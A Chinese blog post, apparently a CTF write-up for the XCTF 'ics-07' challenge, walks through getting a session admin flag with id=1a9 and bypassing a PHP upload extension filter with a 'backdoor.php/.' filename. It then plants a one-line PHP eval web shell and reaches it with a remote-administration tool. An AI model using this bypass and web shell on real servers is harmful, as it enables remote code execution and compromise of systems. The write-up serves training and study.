zoukankan      html  css  js  c++  java
  • 【XCTF 4th-CyberEarth】ics-07

    信息:

    题目来源:XCTF 4th-CyberEarth

    标签:PHP源码泄露SSRF反序列化SQL

    题目描述:工控云管理系统项目管理页面解析漏洞

    解题过程

    进入网站后,首先进行目录扫描:

    [TIME] 			=> 2020-07-08 15:34:39.931717
    [TARGET] 			=> http://220.249.52.133:54884/
    [NUMBER_OF_THRED] 	=> 10
    [KEY_WORDS] 		=> ['flag', 'ctf', 'admin']
    
    [302] => index.php
    [200] => flag.php
    [200] => config.php
    [200] => /config.php
    [200] => index.html
    

    得到以上文件信息,发现名为项目管理中心的页面:

    ics-071

    发现网页源代码(第一部分):

    <?php
    session_start();
    
    if (!isset($_GET[page])) {
        show_source(__FILE__);
        die();
    }
    
    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
    	include('flag.php');
    }else {
    	header('Location: ?page=flag.php');
    }
    ?>
    

    本部分代码无需特殊处理。

    第二部分:

    <?php
    if ($_SESSION['admin']) {
        $con = $_POST['con'];
        $file = $_POST['file'];
        $filename = "backup/".$file;
    
        if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
            die("Bad file extension");
        }else{
            chdir('uploaded');
            $f = fopen($filename, 'w');
            fwrite($f, $con);
            fclose($f);
        }
    }
    ?>
    

    这部分代码首先需要满足$_SESSION['admin'] == True才行。

    当满足上述条件时,可以使用post上传文件,要求文件后缀名不能为:php、php3、php4、php5、php7、pht、phtml。

    第三部分:

    <?php
    if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    	include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
    } else {
        $result = False;
        die();
    }
    
    if(!$result)die("<br >something wae wrong ! <br>");
    if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
    }
    ?>
    

    这部分代码需要满足:

    1. 存在id ≠ (int)1
    2. id的最后一位 = 9

    满足这两个条件时:$_SESSION['admin'] = True;

    构造payload:http://ip/index.php?page=flag.php&id=1a9

    ics-072

    这时,可以使用post方式上传文件,file为文件名,con为文件内容。

    正则的话是判断.之后的字符,因此我们可以利用/.的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

    file=backdoor.php/.&con=<?php @eval($_POST['123']);?>
    

    使用菜刀类工具连接,得到flag

  • 相关阅读:
    jvm.option是什么,它是如何加载的
    适配器模式--想象一下转换插头
    Android gradle 配置
    Android全面屏适配
    github控件地址
    TextView 链接显示及跳转
    解决java.lang.annotation.AnnotationFormatError: Invalid default: public abstract java.lang.Class org.robolectric.annotation.Config.application()
    解决Android中,禁止ScrollView内的控件改变之后自动滚动
    Android跳转到应用商店的APP详情页面,以及 Google GMS 各个apk的包
    EditText小记
  • 原文地址:https://www.cnblogs.com/chalan630/p/13289543.html
Copyright © 2011-2022 走看看